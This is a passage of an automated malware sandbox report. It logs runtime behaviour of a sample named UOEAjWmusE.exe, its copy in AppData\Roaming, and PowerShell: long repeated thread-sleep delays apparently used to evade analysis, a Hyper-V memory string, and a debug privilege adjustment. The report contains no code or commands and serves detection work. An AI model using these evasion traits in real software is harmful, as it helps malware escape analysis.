Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594235	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7347	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2298	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Window / User API: threadDelayed 1822	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Window / User API: threadDelayed 8031	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Window / User API: threadDelayed 2180	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Window / User API: threadDelayed 7659	Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 6776	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6208	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 4156	Thread sleep count: 1822 > 30	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 4156	Thread sleep count: 8031 > 30	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -599103s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -598092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597699s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -595015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe TID: 5096	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 4912	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 3912	Thread sleep count: 2180 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 3912	Thread sleep count: 7659 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599616s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598583s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597904s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597138s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -596094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe TID: 2796	Thread sleep time: -594235s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599103	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598874	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598092	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597699	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599616	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598583	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597904	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597138	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 594235	Jump to behavior

Source: gJdonuKfIrqN.exe, 0000000C.00000002.3766137317.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: UOEAjWmusE.exe, 00000007.00000002.3765628401.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllon.H

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Code function: 7_2_0116C168 LdrInitializeThunk,LdrInitializeThunk,

7_2_0116C168

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process token adjusted: Debug	Jump to behavior
